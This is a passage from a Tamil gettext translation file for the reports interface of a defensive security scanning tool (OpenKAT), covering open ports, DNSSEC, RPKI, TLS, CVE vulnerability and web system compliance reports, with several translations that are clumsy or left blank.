இணக்கமானவை\"\n\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"System specific checks\"\nmsgstr \"கணினி குறிப்பிட்ட காசோலைகள்\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \"IPv6\"\nmsgstr \"Ipvsh\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \"\"\n\"IPv6 includes improvements in security features compared to IPv4. While IPv4 \"\n\"can implement security measures, IPv6 was designed with security in mind, \"\n\"and its adoption can contribute to a more secure internet.\"\nmsgstr \"\"\n\"ஐபிவி 4 உடன் ஒப்பிடும்போது பாதுகாப்பு அம்சங்களில் மேம்பாடுகளை ஐபிவி 6 உள்ளடக்கியது. \"\n\"ஐபிவி 4 பாதுகாப்பு நடவடிக்கைகளை செயல்படுத்த முடியும் என்றாலும், ஐபிவி 6 பாதுகாப்பை \"\n\"மனதில் கொண்டு வடிவமைக்கப்பட்டுள்ளது, மேலும் அதன் தத்தெடுப்பு மிகவும் பாதுகாப்பான \"\n\"இணையத்திற்கு பங்களிக்கும்.\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \"In total \"\nmsgstr \"மொத்தத்தில் \"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \" out of \"\nmsgstr \" வெளியே \"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \" systems have an IPv6 connection.\"\nmsgstr \" அமைப்புகளுக்கு ஐபிவி 6 இணைப்பு உள்ளது.\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \"Overview of IP version compliance\"\nmsgstr \"ஐபி பதிப்பு இணக்கத்தின் கண்ணோட்டம்\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\nmsgid \"\"\n\"See an overview of open ports found over all systems and the services these \"\n\"systems provide.\"\nmsgstr \"\"\n\"இந்த அமைப்புகள் வழங்கும் அனைத்து அமைப்புகள் மற்றும் சேவைகளில் காணப்படும் திறந்த \"\n\"துறைமுகங்களின் கண்ணோட்டத்தைக் காண்க.\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\nmsgid \"Overview of detected open ports\"\nmsgstr \"கண்டறியப்பட்ட திறந்த துறைமுகங்களின் கண்ணோட்டம்\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\n#: reports/report_types/open_ports_report/report.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Open ports\"\nmsgstr \"திறந்த துறைமுகங்கள்\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\nmsgid \"Occurrences (IP addresses)\"\nmsgstr \"நிகழ்வுகள் (ஐபி முகவரிகள்)\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\n#: reports/templates/summary/service_health.html\nmsgid \"Services\"\nmsgstr \"சேவைகள்\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\nmsgid \"No open ports found.\"\nmsgstr \"திறந்த துறைமுகங்கள் எதுவும் கிடைக்கவில்லை.\"\n\n#: reports/report_types/multi_organization_report/recommendations.html\nmsgid \"Overview of recommendations\"\nmsgstr \"பரிந்துரைகளின் கண்ணோட்டம்\"\n\n#: reports/report_types/multi_organization_report/recommendations.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Occurrence\"\nmsgstr \"நிகழ்வு\"\n\n#: reports/report_types/multi_organization_report/report.html\nmsgid \"No findings have been identified yet.\"\nmsgstr \"கண்டுபிடிப்புகள் இதுவரை அடையாளம் காணப்படவில்லை.\"\n\n#: reports/report_types/multi_organization_report/report.py\nmsgid \"Multi Organization Report\"\nmsgstr \"பல அமைப்பு அறிக்கை\"\n\n#: reports/report_types/multi_organization_report/summary.html\nmsgid \"Best scoring security check\"\nmsgstr \"சிறந்த மதிப்பெண் பாதுகாப்பு சோதனை\"\n\n#: reports/report_types/multi_organization_report/summary.html\nmsgid \"Worst scoring security check\"\nmsgstr \"மோசமான மதிப்பெண் பாதுகாப்பு சோதனை\"\n\n#: reports/report_types/multi_organization_report/vulnerabilities.html\nmsgid \"\"\n\"Vulnerabilities found are grouped per system. Here, we only consider CVE \"\n\"vulnerabilities.\"\nmsgstr \"\"\n\"காணப்படும் பாதிப்புகள் ஒரு அமைப்புக்கு தொகுக்கப்பட்டுள்ளன. இங்கே, சி.வி.இ பாதிப்புகளை \"\n\"மட்டுமே நாங்கள் கருதுகிறோம்.\"\n\n#: reports/report_types/multi_organization_report/vulnerabilities.html\nmsgid \"Vulnerabilities grouped per system\"\nmsgstr \"ஒரு அமைப்புக்கு குழுவாக பாதிப்புகள்\"\n\n#: reports/report_types/multi_organization_report/vulnerabilities.html\nmsgid \"total\"\nmsgstr \"மொத்தம்\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"\"\n\"The Name Server Report provides an overview of the compliance checks that \"\n\"were performed against the identified Domain Name Servers (DNS). The \"\n\"compliance checks verify the presence and validity of DNSSEC and whether no \"\n\"unnecessary ports were identified to be open. The table below gives an \"\n\"overview of the available checks including whether the system passed the \"\n\"performed checks. The risk level and reasoning as to why an issue was \"\n\"identified are shown too. The risk level may be different for your specific \"\n\"environment.\"\nmsgstr \"\"\n\"அடையாளம் காணப்பட்ட டொமைன் பெயர் சேவையகங்களுக்கு (டி.என்.எச்) எதிராக நிகழ்த்தப்பட்ட இணக்க \"\n\"காசோலைகளின் கண்ணோட்டத்தை பெயர் சேவையக அறிக்கை வழங்குகிறது. இணக்க காசோலைகள் டி.என்.எச்.\"\n\"எச்.இ.சியின் இருப்பு மற்றும் செல்லுபடியாகும் தன்மையையும், தேவையற்ற துறைமுகங்கள் எதுவும் \"\n\"திறந்தவை என்று அடையாளம் காணப்படவில்லை என்பதையும் சரிபார்க்கின்றன. கணினி நிகழ்த்தப்பட்ட \"\n\"காசோலைகளை கடந்து சென்றதா என்பது உட்பட கிடைக்கக்கூடிய காசோலைகளின் கண்ணோட்டத்தை கீழேயுள்ள \"\n\"அட்டவணை வழங்குகிறது. ஒரு சிக்கல் ஏன் அடையாளம் காணப்பட்டது என்பதற்கான இடர் நிலை மற்றும் \"\n\"பகுத்தறிவு கூட காட்டப்பட்டுள்ளது. உங்கள் குறிப்பிட்ட சூழலுக்கு இடர் நிலை \"\n\"வேறுபட்டிருக்கலாம்.\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"Name server compliance\"\nmsgstr \"பெயர் சேவையக இணக்கம்\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"DNSSEC Present\"\nmsgstr \"DNSSEC தற்போது\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"name servers compliant\"\nmsgstr \"பெயர் சேவையகங்கள் இணக்கமானவை\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"Valid DNSSEC\"\nmsgstr \"செல்லுபடியாகும் DNSSEC\"\n\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/web_system_report/report.html\nmsgid \"No unnecessary ports open\"\nmsgstr \"தேவையற்ற துறைமுகங்கள் திறக்கப்படவில்லை\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"No nameservers have been found on this system.\"\nmsgstr \"இந்த அமைப்பில் பெயர்செர்வர்கள் எதுவும் கிடைக்கவில்லை.\"\n\n#: reports/report_types/name_server_report/report.py\nmsgid \"Name Server Report\"\nmsgstr \"பெயர் சேவையக அறிக்கை\"\n\n#: reports/report_types/name_server_report/report.py\nmsgid \"Name Server Report checks name servers on basic security standards.\"\nmsgstr \"\"\n\"பெயர் சேவையக அறிக்கை அடிப்படை பாதுகாப்பு தரங்களில் பெயர் சேவையகங்களை சரிபார்க்கிறது.\"\n\n#: reports/report_types/open_ports_report/report.html\nmsgid \"\"\n\"The Open Ports Report provides an overview of the open ports identified on a \"\n\"system. The ports that are marked as <b>bold</b> were identified by direct \"\n\"scans performed by OpenKAT (such as nmap). Ports that are not marked in bold \"\n\"were identified through external services and/or scans (such as Shodan). \"\n\"Scans with the same hostnames, ports and IPs are merged.\"\nmsgstr \"\"\n\"திறந்த துறைமுக அறிக்கை ஒரு கணினியில் அடையாளம் காணப்பட்ட திறந்த துறைமுகங்களின் \"\n\"கண்ணோட்டத்தை வழங்குகிறது. <b> போல்ட் </b> எனக் குறிக்கப்பட்ட துறைமுகங்கள் ஓபன்காட் \"\n\"(என்எம்ஏபி போன்றவை) நிகழ்த்திய நேரடி ச்கேன் மூலம் அடையாளம் காணப்பட்டன. தைரியமாக \"\n\"குறிக்கப்படாத துறைமுகங்கள் வெளிப்புற சேவைகள் மற்றும்/அல்லது ச்கேன் மூலம் (சோடன் போன்றவை) \"\n\"அடையாளம் காணப்பட்டன. அதே ஓச்ட்பெயர்கள், துறைமுகங்கள் மற்றும் ஐபிக்கள் இணைக்கப்படுகின்றன.\"\n\n#: reports/report_types/open_ports_report/report.html\nmsgid \"Overview of open ports found for the scanned assets\"\nmsgstr \"ச்கேன் செய்யப்பட்ட சொத்துக்களுக்கு திறந்த துறைமுகங்களின் கண்ணோட்டம்\"\n\n#: reports/report_types/open_ports_report/report.html\n#: reports/report_types/systems_report/report.html\nmsgid \"IP address\"\nmsgstr \"ஐபி முகவரி\"\n\n#: reports/report_types/open_ports_report/report.html\nmsgid \"Hostnames\"\nmsgstr \"ஓச்ட்பெயர்கள்\"\n\n#: reports/report_types/open_ports_report/report.html\nmsgid \"Direct scan\"\nmsgstr \"நேரடி ச்கேன்\"\n\n#: reports/report_types/open_ports_report/report.py\nmsgid \"Open Ports Report\"\nmsgstr \"திறந்த துறைமுக அறிக்கை\"\n\n#: reports/report_types/open_ports_report/report.py\nmsgid \"Find open ports of IP addresses\"\nmsgstr \"ஐபி முகவரிகளின் திறந்த துறைமுகங்களைக் கண்டறியவும்\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"\"\n\"This section contains basic security information about Resource Public Key \"\n\"Infrastructure (RPKI). If your web server employs RPKI for its IP addresses \"\n\"and associated nameservers, then it enhances visitor protection against \"\n\"misconfigurations and malicious route intercepts through verified route \"\n\"announcements, ensuring reliable server access and secure internet traffic.\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"\"\n\"The RPKI Report shows if an RPKI route announcement was available for the \"\n\"system and if this announcement is not expired.\"\nmsgstr \"\"\n\"RPKI அறிக்கை கணினிக்கு RPKI பாதை அறிவிப்பு கிடைத்ததா என்பதையும் இந்த அறிவிப்பு \"\n\"காலாவதியாகவில்லை என்பதையும் காட்டுகிறது.\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI compliance\"\nmsgstr \"RPKI இணக்கம்\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI Available\"\nmsgstr \"RPKI கிடைக்கிறது\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI valid\"\nmsgstr \"RPKI செல்லுபடியாகும்\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI record is not valid.\"\nmsgstr \"RPKI பதிவு செல்லுபடியாகாது.\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI record does not exist.\"\nmsgstr \"RPKI பதிவு இல்லை.\"\n\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"No IPs have been found on this system.\"\nmsgstr \"இந்த அமைப்பில் ஐபிக்கள் எதுவும் கண்டுபிடிக்கப்படவில்லை.\"\n\n#: reports/report_types/rpki_report/report.py\nmsgid \"RPKI Report\"\nmsgstr \"RPKI அறிக்கை\"\n\n#: reports/report_types/rpki_report/report.py\nmsgid \"\"\n\"Shows whether the IP is covered by a valid RPKI ROA. For a hostname it shows \"\n\"the IP addresses and whether they are covered by a valid RPKI ROA.\"\nmsgstr \"\"\n\"ஐபி செல்லுபடியாகும் RPKI ROA ஆல் மூடப்பட்டதா என்பதைக் காட்டுகிறது. ஒரு ஓச்ட்பெயருக்கு \"\n\"இது ஐபி முகவரிகள் மற்றும் அவை செல்லுபடியாகும் RPKI ROA ஆல் மூடப்பட்டதா என்பதைக் \"\n\"காட்டுகிறது.\"\n\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"\"\n\"The Safe Connections report provides an overview of the performed checks \"\n\"with regard to encrypted communication channels such as HTTPS. The table \"\n\"below gives an overview of the available checks including whether the system \"\n\"passed the performed checks. The risk level and reasoning as to why an issue \"\n\"was identified are shown too. The risk level may be different for your \"\n\"specific environment.\"\nmsgstr \"\"\n\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"Safe connections compliance\"\nmsgstr \"பாதுகாப்பான இணைப்புகள் இணக்கம்\"\n\n#: reports/report_types/safe_connections_report/report.py\nmsgid \"Safe Connections Report\"\nmsgstr \"பாதுகாப்பான இணைப்புகள் அறிக்கை\"\n\n#: reports/report_types/safe_connections_report/report.py\nmsgid \"Shows whether the IPService contains safe ciphers.\"\nmsgstr \"IPService இல் பாதுகாப்பான மறைக்குறியீடுகள் உள்ளதா என்பதைக் காட்டுகிறது.\"\n\n#: reports/report_types/systems_report/report.html\nmsgid \"\"\n\"The System Report provides an overview of the system types (types of similar \"\n\"services) that were identified for each system. The following system types \"\n\"can be identified: DNS servers, Web servers, Mail servers and those \"\n\"classified as 'Other' servers. Each hostname and/or IP address is given one \"\n\"or more system types depending on the identified ports and services. The \"\n\"table below gives an overview of these results.\"\nmsgstr \"\"\n\"கணினி அறிக்கை ஒவ்வொரு அமைப்பிற்கும் அடையாளம் காணப்பட்ட கணினி வகைகளின் (ஒத்த சேவைகளின் \"\n\"வகைகள்) ஒரு கண்ணோட்டத்தை வழங்குகிறது. பின்வரும் கணினி வகைகளை அடையாளம் காணலாம்: டிஎன்எச் \"\n\"சேவையகங்கள், வலை சேவையகங்கள், அஞ்சல் சேவையகங்கள் மற்றும் 'பிற' சேவையகங்கள் என \"\n\"வகைப்படுத்தப்பட்டவை. அடையாளம் காணப்பட்ட துறைமுகங்கள் மற்றும் சேவைகளைப் பொறுத்து ஒவ்வொரு \"\n\"ஓச்ட்பெயர் மற்றும்/அல்லது ஐபி முகவரிக்கு ஒன்று அல்லது அதற்கு மேற்பட்ட கணினி வகைகள் \"\n\"வழங்கப்படுகின்றன. கீழேயுள்ள அட்டவணை இந்த முடிவுகளின் கண்ணோட்டத்தை அளிக்கிறது.\"\n\n#: reports/report_types/systems_report/report.html\nmsgid \"Selected assets\"\nmsgstr \"தேர்ந்தெடுக்கப்பட்ட சொத்துக்கள்\"\n\n#: reports/report_types/systems_report/report.html\nmsgid \"No system types have been identified on this system.\"\nmsgstr \"இந்த அமைப்பில் கணினி வகைகள் எதுவும் அடையாளம் காணப்படவில்லை.\"\n\n#: reports/report_types/systems_report/report.py\nmsgid \"System Report\"\nmsgstr \"கணினி அறிக்கை\"\n\n#: reports/report_types/systems_report/report.py\nmsgid \"Combine IP addresses, hostnames and services into systems.\"\nmsgstr \"ஐபி முகவரிகள், ஓச்ட்பெயர்கள் மற்றும் சேவைகளை கணினிகளில் இணைக்கவும்.\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"\"\n\"The TLS Report shows which TLS protocols and ciphers were identified on the \"\n\"host for the provided port.\"\nmsgstr \"\"\n\"வழங்கப்பட்ட துறைமுகத்திற்கான ஓச்டில் எந்த டி.எல்.எச் நெறிமுறைகள் மற்றும் மறைக்குறியீடுகள் \"\n\"அடையாளம் காணப்பட்டன என்பதை டி.எல்.எச் அறிக்கை காட்டுகிறது.\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"\"\n\"The table below provides an overview of the identified TLS protocols and \"\n\"ciphers, including a status suggestion.\"\nmsgstr \"\"\n\"கீழே உள்ள அட்டவணை அடையாளம் காணப்பட்ட டி.எல்.எச் நெறிமுறைகள் மற்றும் மறைக்குறியீடுகளின் \"\n\"கண்ணோட்டத்தை வழங்குகிறது, இதில் நிலை பரிந்துரை உட்பட.\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Ciphers\"\nmsgstr \"சைபர்கள்\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Protocol\"\nmsgstr \"நெறிமுறை\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Encryption Algorithm\"\nmsgstr \"குறியாக்க வழிமுறை\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Bits\"\nmsgstr \"பிட்கள்\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Key Size\"\nmsgstr \"முக்கிய அளவு\"\n\n#: reports/report_types/tls_report/report.html\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Code\"\nmsgstr \"குறியீடு\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Phase out\"\nmsgstr \"கட்டம் வெளியே\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Good\"\nmsgstr \"நல்லது\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"\"\n\"No ciphers were found for this combination of IP address, port and service.\"\nmsgstr \"\"\n\"ஐபி முகவரி, துறைமுகம் மற்றும் சேவையின் இந்த கலவைக்கு சைபர்கள் எதுவும் கண்டறியப்படவில்லை.\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"\"\n\"The list below gives an overview of the findings based on the identified TLS \"\n\"protocols and ciphers. This includes the reasoning why the cipher or \"\n\"protocol is marked as a finding.\"\nmsgstr \"\"\n\"கீழேயுள்ள பட்டியல் அடையாளம் காணப்பட்ட டி.எல்.எச் நெறிமுறைகள் மற்றும் மறைக்குறியீடுகளின் \"\n\"அடிப்படையில் கண்டுபிடிப்புகளின் கண்ணோட்டத்தை அளிக்கிறது. மறைக்குறியீடு அல்லது நெறிமுறை \"\n\"ஒரு கண்டுபிடிப்பாக குறிக்கப்படுவதற்கான காரணமும் இதில் அடங்கும்.\"\n\n#: reports/report_types/tls_report/report.py\nmsgid \"TLS Report\"\nmsgstr \"டி.எல்.எச் அறிக்கை\"\n\n#: reports/report_types/tls_report/report.py\nmsgid \"\"\n\"TLS Report assesses the security of data encryption and transmission \"\n\"protocols.\"\nmsgstr \"\"\n\"தரவு குறியாக்கம் மற்றும் பரிமாற்ற நெறிமுறைகளின் பாதுகாப்பை TLS அறிக்கை மதிப்பிடுகிறது.\"\n\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"No vulnerabilities have been found on this system.\"\nmsgstr \"இந்த அமைப்பில் எந்த பாதிப்புகளும் கிடைக்கவில்லை.\"\n\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"\"\n\"The Vulnerability Report provides an overview of all identified CVE \"\n\"vulnerabilities that were identified on the selected systems. For each CVE \"\n\"the table shows the CVE scoring, the number of occurrences, and the CVE \"\n\"details.\"\nmsgstr \"\"\n\"தேர்ந்தெடுக்கப்பட்ட அமைப்புகளில் அடையாளம் காணப்பட்ட அனைத்து அடையாளம் காணப்பட்ட சி.வி.இ \"\n\"பாதிப்புகளின் கண்ணோட்டத்தை பாதிப்பு அறிக்கை வழங்குகிறது. ஒவ்வொரு சி.வி.இ அட்டவணை சி.வி.\"\n\"இ மதிப்பெண், நிகழ்வுகளின் எண்ணிக்கை மற்றும் சி.வி.இ விவரங்களைக் காட்டுகிறது.\"\n\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"vulnerabilities on this system\"\nmsgstr \"இந்த அமைப்பில் பாதிப்புகள்\"\n\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"Advice\"\nmsgstr \"அறிவுரை\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"Vulnerability Report\"\nmsgstr \"பாதிப்பு அறிக்கை\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"Vulnerabilities found are grouped for each system.\"\nmsgstr \"காணப்படும் பாதிப்புகள் ஒவ்வொரு அமைப்பிற்கும் தொகுக்கப்பட்டுள்ளன.\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"First seen\"\nmsgstr \"முதலில் பார்த்தேன்\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"Last seen\"\nmsgstr \"கடைசியாக பார்த்தேன்\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"Evidence\"\nmsgstr \"சான்றுகள்\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"\"\n\"The Web System Report provides an overview of various web server checks that \"\n\"were performed against the scanned system(s). For each performed check the \"\n\"table below shows whether or not the server is compliant with the checks. A \"\n\"description of why this compliant check failed is also shown, including an \"\n\"general risk level. The risk level may be different for your specific \"\n\"environment.\"\nmsgstr \"\"\n\"ச்கேன் செய்யப்பட்ட கணினி (கள்) க்கு எதிராக நிகழ்த்தப்பட்ட பல்வேறு வலை சேவையக சோதனைகளின் \"\n\"கண்ணோட்டத்தை வலை அமைப்பு அறிக்கை வழங்குகிறது. ஒவ்வொரு நிகழ்த்தப்பட்ட காசோலைக்கும் கீழேயுள்ள \"\n\"அட்டவணை சேவையகம் காசோலைகளுக்கு இணங்குகிறதா இல்லையா என்பதைக் காட்டுகிறது. இந்த இணக்கமான \"\n\"காசோலை ஏன் தோல்வியுற்றது என்பதற்கான விளக்கமும் காட்டப்பட்டுள்ளது, இதில் பொதுவான இடர் நிலை \"\n\"உட்பட. உங்கள் குறிப்பிட்ட சூழலுக்கு இடர் நிலை வேறுபட்டிருக்கலாம்.\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Web system compliance\"\nmsgstr \"வலை அமைப்பு இணக்கம்\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"CSP Present\"\nmsgstr \"சிஎச்பி தற்போது\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"webservers compliant\"\nmsgstr \"வெப்சர்வர்ச் இணக்கமானது\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Secure CSP Header\"\nmsgstr \"பாதுகாப்பான சிஎச்பி தலைப்பு\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Redirects HTTP to HTTPS\"\nmsgstr \"HTTP ஐ https க்கு திருப்பிவிடுகிறது\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Offers HTTPS\"\nmsgstr \"Https ஐ வழங்குகிறது\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Has a Security.txt\"\nmsgstr \"ஒரு பாதுகாப்பு. TXT உள்ளது\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Has a certificate\"\nmsgstr \"ஒரு சான்றிதழ் உள்ளது\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Certificate is valid\"\nmsgstr \"சான்றிதழ் செல்லுபடியாகும்\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Certificate is not expiring soon\"\nmsgstr \"சான்றிதழ் விரைவில் காலாவதியாகாது\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"No webservers have been found on this system.\"\nmsgstr \"இந்த அமைப்பில் வலை சேவையாளர்கள் எதுவும் கிடைக்கவில்லை.\"\n\n#: reports/report_types/web_system_report/report.py\nmsgid \"Web System Report\"\nmsgstr \"வலை அமைப்பு அறிக்கை\"\n\n#: reports/report_types/web_system_report/report.py\nmsgid \"Web System Reports check web systems on basic security standards.\"\nmsgstr \"\"\n\"வலை அமைப்பு அறிக்கைகள் அடிப்படை பாதுகாப்பு தரங்களில் வலை அமைப்புகளை சரிபார்க்கவும்.\"\n\n#: reports/templates/partials/export_report_settings.html\nmsgid \"Report schedule\"\nmsgstr \"அறிக்கை அட்டவணை\"\n\n#: reports/templates/partials/export_report_settings.html\nmsgid \"\"\n\"When scheduling your report, you have two options. You can either choose to \"\n\"generate it just once now, or set it to run automatically at regular \"\n\"intervals, like daily, weekly, or monthly. If you need the report just for a \"\n\"single occasion, select the one-time option.\"\nmsgstr \"\"\n\"உங்கள் அறிக்கையை திட்டமிடும்போது, உங்களுக்கு இரண்டு விருப்பங்கள் உள்ளன. நீங்கள் இப்போது ஒரு \"\n\"முறை உருவாக்கத் தேர்வு செய்யலாம் அல்லது நாள்தோறும், வாராந்திர அல்லது மாதாந்திர போன்ற \"\n\"வழக்கமான இடைவெளியில் தானாக இயக்க அமைக்கலாம். ஒரு சந்தர்ப்பத்திற்கு உங்களுக்கு அறிக்கை \"\n\"தேவைப்பட்டால், ஒரு முறை விருப்பத்தைத் தேர்ந்தெடுக்கவும்.\"\n\n#: reports/templates/partials/export_report_settings.html\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Report name\"\nmsgstr \"அறிக்கை பெயர்\"\n\n#: reports/templates/partials/export_report_settings.html\n#, python-format, python-brace-format\nmsgid \"\"\n\"When generating reports, it is possible to give the report a name. The name \"\n\"can be static or dynamic. The default format for a report is '${report_type} \"\n\"for ${oois_count} objects'. These placeholders automatically adapt based on \"\n\"the report details. This format could for example return 'Aggregate Report \"\n\"for 15 objects'. Another placeholder that can be used is '${ooi}', which \"\n\"will show the name of the object when there is only one object. You can also \"\n\"customize the name by adding prefixes, suffixes, or other formats like '%%W' \"\n\"for the week number, using options from <a href=\\\"https://strftime.org/\\\" \"\n\"target=\\\"_blank\\\" rel=\\\"noopener\\\">Python strftime code</a>.\"\nmsgstr \"\"\n\"அறிக்கைகளை உருவாக்கும்போது, அறிக்கைக்கு ஒரு பெயரைக் கொடுக்க முடியும். பெயர் நிலையான \"\n\"அல்லது மாறும். ஒரு அறிக்கையின் இயல்புநிலை வடிவம் $ {oois_count} பொருள்களுக்கான '$ \"\n\"{report_type} ஆகும். இந்த ஒதுக்கிடங்கள் அறிக்கை விவரங்களின் அடிப்படையில் தானாகவே \"\n\"மாற்றியமைக்கின்றன. இந்த வடிவம் எடுத்துக்காட்டாக '15 பொருள்களுக்கான மொத்த அறிக்கையை' \"\n\"திரும்பப் பெற முடியும். பயன்படுத்தக்கூடிய மற்றொரு ஒதுக்கிடர் '$ {ooi}', இது ஒரே ஒரு \"\n\"பொருள் இருக்கும்போது பொருளின் பெயரைக் காண்பிக்கும்.<a href=\\\"https://strftime.org/\\\" \"\n\"target=\\\"_blank\\\" rel=\\\"noopener\\\"> பைதான் ச்ட்ராஃப்டைம் குறியீடு </a>.\"\n\n#: reports/templates/partials/export_report_settings.html\n#: reports/templates/partials/generate_report_header.html\n#: reports/templates/partials/new_report_action_button.html\n#: reports/views/generate_report.py\nmsgid \"Generate report\"\nmsgstr \"அறிக்கையை உருவாக்குங்கள்\"\n\n#: reports/templates/partials/generate_report_header.html\nmsgid \"To generate an aggregate report, complete the following steps.\"\nmsgstr \"மொத்த அறிக்கையை உருவாக்க, பின்வரும் படிகளை முடிக்கவும்.\"\n\n#: reports/templates/partials/generate_report_header.html\nmsgid \"To generate a multi report, complete the following steps.\"\nmsgstr \"பல அறிக்கையை உருவாக்க, பின்வரும் படிகளை முடிக்கவும்.\"\n\n#: reports/templates/partials/generate_report_header.html\nmsgid \"To generate separate report(s), complete the following steps.\"\nmsgstr \"தனி அறிக்கை (களை) உருவாக்க, பின்வரும் படிகளை முடிக்கவும்.\"\n\n#: reports/templates/partials/generate_report_sidemenu.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Table of contents\"\nmsgstr \"உள்ளடக்க அட்டவணை\"\n\n#: reports/templates/partials/new_report_action_button.html\nmsgid \"Actions for creating a new report\"\nmsgstr \"புதிய அறிக்கையை உருவாக்குவதற்கான நடவடிக்கைகள்\"\n\n#: reports/templates/partials/new_report_action_button.html\nmsgid \"Separate report(s)\"\nmsgstr \"தனி அறிக்கை (கள்)\"\n\n#: reports/templates/partials/new_report_action_button.html\n#: reports/views/aggregate_report.py\nmsgid \"Aggregate report\"\nmsgstr \"மொத்த அறிக்கை\"\n\n#: reports/templates/partials/new_report_action_button.html\n#: reports/views/multi_report.py\nmsgid \"Multi report\"\nmsgstr \"பல அறிக்கை\"\n\n#: reports/templates/partials/plugin_overview_table.html\n#: reports/templates/partials/report_sidemenu.html\n#: rocky/templates/oois/ooi_page_tabs.html\nmsgid \"Overview\"\nmsgstr \"கண்ணோட்டம்\"\n\n#: reports/templates/partials/plugin_overview_table.html\nmsgid \"Plugin overview table\"\nmsgstr \"சொருகி கண்ணோட்டம் அட்டவணை\"\n\n#: reports/templates/partials/plugin_overview_table.html\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Required plugins\"\nmsgstr \"தேவையான செருகுநிரல்கள்\"\n\n#: reports/templates/partials/plugin_overview_table.html\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Suggested plugins\"\nmsgstr \"பரிந்துரைக்கப்பட்ட செருகுநிரல்கள்\"\n\n#: reports/templates/partials/plugin_overview_table.html\nmsgid \"Action required\"\nmsgstr \"நடவடிக்கை தேவை\"\n\n#: reports/templates/partials/plugin_overview_table.html\nmsgid \"Ready\"\nmsgstr \"ஆயத்தம்\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"\"\n\"This table provides an overview of the identified findings on the scanned \"\n\"systems. For each finding type it shows the risk level, the number of \"\n\"occurrences and the first known occurrence of the finding. The risk level \"\n\"may be different for your specific environment. The details can be seen when \"\n\"expanding a row. A description, the source, impact and recommendation of the \"\n\"finding can be found here. It also shows in which findings the finding type \"\n\"occurred.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"First known occurrence\"\nmsgstr \"முதலில் அறியப்பட்ட நிகழ்வு\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"Open in report\"\nmsgstr \"அறிக்கையில் திறந்திருக்கும்\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"\"\n\"No critical and high findings have been identified for this organization.\"\nmsgstr \"\"\n\"இந்த அமைப்புக்கு முக்கியமான மற்றும் உயர் கண்டுபிடிப்புகள் எதுவும் அடையாளம் காணப்படவில்லை.\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"No findings have been identified for this organization.\"\nmsgstr \"இந்த அமைப்புக்கு 